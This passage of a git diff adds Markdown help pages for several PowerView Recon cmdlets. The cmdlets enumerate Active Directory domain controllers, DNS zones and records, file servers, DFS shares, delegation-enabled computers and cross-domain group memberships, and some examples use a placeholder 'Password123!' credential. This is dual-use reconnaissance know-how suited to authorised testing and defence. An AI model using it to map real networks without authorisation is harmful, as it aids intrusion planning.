have unconstrained delegation. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -TrustedToAuth +Switch. +Return computer objects that are trusted to authenticate for other principals. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Printers +Switch. +Return only printers. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SPN +Return computers with a specific service principal name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePrincipalName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OperatingSystem +Return computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServicePack +Return computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SiteName +Return computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Ping +Switch. +Ping each host to ensure it's up before enumerating. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.Computer + +Custom PSObject with translated computer property fields. + +PowerView.Computer.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainController.md b/docs/Recon/Get-DomainController.md new file mode 100755 index 0000000..3d15f5c --- /dev/null +++ b/docs/Recon/Get-DomainController.md @@ -0,0 +1,132 @@ +# Get-DomainController + +## SYNOPSIS +Return the domain controllers for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-Domain + +## SYNTAX + +``` +Get-DomainController [[-Domain] ] [-Server ] [-LDAP] [-Credential ] +``` + +## DESCRIPTION +Enumerates the domain controllers for the current or specified domain. +By default built in .NET methods are used. +The -LDAP switch uses Get-DomainComputer +to search for domain controllers. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainController -Domain 'test.local' +``` + +Determine the domain controllers for 'test.local'. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainController -Domain 'test.local' -LDAP +``` + +Determine the domain controllers for 'test.local' using LDAP queries. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +'test.local' | Get-DomainController +``` + +Determine the domain controllers for 'test.local'. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainController -Credential $Cred + +## PARAMETERS + +### -Domain +The domain to query for domain controllers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAP +Switch. +Use LDAP queries to determine the domain controllers instead of built in .NET methods. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.Computer + +Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified. + +System.DirectoryServices.ActiveDirectory.DomainController + +If -LDAP isn't specified. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainDFSShare.md b/docs/Recon/Get-DomainDFSShare.md new file mode 100755 index 0000000..ce33275 --- /dev/null +++ b/docs/Recon/Get-DomainDFSShare.md @@ -0,0 +1,202 @@ +# Get-DomainDFSShare + +## SYNOPSIS +Returns a list of all fault-tolerant distributed file systems +for the current (or specified) domain. + +Author: Ben Campbell (@meatballs__) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +## SYNTAX + +``` +Get-DomainDFSShare [[-Domain] ] [[-SearchBase] ] [[-Server] ] + [[-SearchScope] ] [[-ResultPageSize] ] [[-ServerTimeLimit] ] [-Tombstone] + [[-Credential] ] [[-Version] ] +``` + +## DESCRIPTION +This function searches for all distributed file systems (either version +1, 2, or both depending on -Version X) by searching for domain objects +matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively +The server data is parsed appropriately and returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainDFSShare +``` + +Returns all distributed file system shares for the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainDFSShare -Domain testlab.local +``` + +Returns all distributed file system shares for the 'testlab.local' domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainDFSShare -Credential $Cred + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DomainName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 7 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Version +{{Fill Version Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 8 +Default value: All +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.Management.Automation.PSCustomObject + +A custom PSObject describing the distributed file systems. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainDNSRecord.md b/docs/Recon/Get-DomainDNSRecord.md new file mode 100755 index 0000000..e444fd5 --- /dev/null +++ b/docs/Recon/Get-DomainDNSRecord.md @@ -0,0 +1,181 @@ +# Get-DomainDNSRecord + +## SYNOPSIS +Enumerates the Active Directory DNS records for a given zone. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord + +## SYNTAX + +``` +Get-DomainDNSRecord [-ZoneName] [-Domain ] [-Server ] [-Properties ] + [-ResultPageSize ] [-ServerTimeLimit ] [-FindOne] [-Credential ] +``` + +## DESCRIPTION +Given a specific Active Directory DNS zone name, query for all 'dnsNode' +LDAP entries using that zone as the search base. +Return all DNS entry results +and use Convert-DNSRecord to try to convert the binary DNS record blobs. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainDNSRecord -ZoneName testlab.local +``` + +Retrieve all records for the testlab.local zone. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainDNSZone | Get-DomainDNSRecord +``` + +Retrieve all records for all zones in the current domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local +``` + +Retrieve all records for all zones in the dev.testlab.local domain. + +## PARAMETERS + +### -ZoneName +Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +The domain to query for zones, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to for the search. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Name,distinguishedname,dnsrecord,whencreated,whenchanged +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.DNSRecord + +Outputs custom PSObjects with detailed information about the DNS record entry. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainDNSZone.md b/docs/Recon/Get-DomainDNSZone.md new file mode 100755 index 0000000..7065b26 --- /dev/null +++ b/docs/Recon/Get-DomainDNSZone.md @@ -0,0 +1,156 @@ +# Get-DomainDNSZone + +## SYNOPSIS +Enumerates the Active Directory DNS zones for a given domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainDNSZone [[-Domain] ] [-Server ] [-Properties ] [-ResultPageSize ] + [-ServerTimeLimit ] [-FindOne] [-Credential ] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainDNSZone +``` + +Retrieves the DNS zones for the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local +``` + +Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local. + +## PARAMETERS + +### -Domain +The domain to query for zones, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to for the search. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.DNSZone + +Outputs custom PSObjects with detailed information about the DNS zone. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainFileServer.md b/docs/Recon/Get-DomainFileServer.md new file mode 100755 index 0000000..34e9f00 --- /dev/null +++ b/docs/Recon/Get-DomainFileServer.md @@ -0,0 +1,200 @@ +# Get-DomainFileServer + +## SYNOPSIS +Returns a list of servers likely functioning as file servers. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +## SYNTAX + +``` +Get-DomainFileServer [[-Domain] ] [[-LDAPFilter] ] [[-SearchBase] ] + [[-Server] ] [[-SearchScope] ] [[-ResultPageSize] ] [[-ServerTimeLimit] ] + [-Tombstone] [[-Credential] ] +``` + +## DESCRIPTION +Returns a list of likely fileservers by searching for all users in Active Directory +with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying +the server names. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainFileServer +``` + +Returns active file servers for the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainFileServer -Domain testing.local +``` + +Returns active file servers for the 'testing.local' domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainFileServer -Credential $Cred + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DomainName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 4 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 7 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 8 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### String + +One or more strings representing file server names. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainForeignGroupMember.md b/docs/Recon/Get-DomainForeignGroupMember.md new file mode 100755 index 0000000..9061774 --- /dev/null +++ b/docs/Recon/Get-DomainForeignGroupMember.md @@ -0,0 +1,238 @@ +# Get-DomainForeignGroupMember + +## SYNOPSIS +Enumerates groups with users outside of the group's domain and returns +each foreign member. +This is a domain's "incoming" access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainGroup + +## SYNTAX + +``` +Get-DomainForeignGroupMember [[-Domain] ] [-LDAPFilter ] [-Properties ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +Uses Get-DomainGroup to enumerate all groups for the current (or target) domain, +then enumerates the members of each group, and compares the member's domain +name to the parent group's domain name, outputting the member if the domains differ. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainForeignGroupMember +``` + +Return all group members in the current domain where the group and member differ. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainForeignGroupMember -Domain dev.testlab.local +``` + +Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all group members in the dev.testlab.local domain where the member is +not in dev.testlab.local. +binding to the secondary.dev.testlab.local for +queries, and using the specified alternate credentials. + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ForeignGroupMember + +Custom PSObject with translated group member property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainForeignUser.md b/docs/Recon/Get-DomainForeignUser.md new file mode 100755 index 0000000..85b0092 --- /dev/null +++ b/docs/Recon/Get-DomainForeignUser.md @@ -0,0 +1,239 @@ +# Get-DomainForeignUser + +## SYNOPSIS +Enumerates users who are in groups outside of the user's domain. +This is a domain's "outgoing" access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser + +## SYNTAX + +``` +Get-DomainForeignUser [[-Domain] ] [-LDAPFilter ] [-Properties ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +Uses Get-DomainUser to enumerate all users for the current (or target) domain, +then calculates the given user's domain name based on the user's distinguishedName. +This domain name is compared to the queried domain, and the user object is +output if they differ. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainForeignUser +``` + +Return all users in the current domain who are in groups not in the +current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainForeignUser -Domain dev.testlab.local +``` + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and +using the specified alternate credentials. + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False 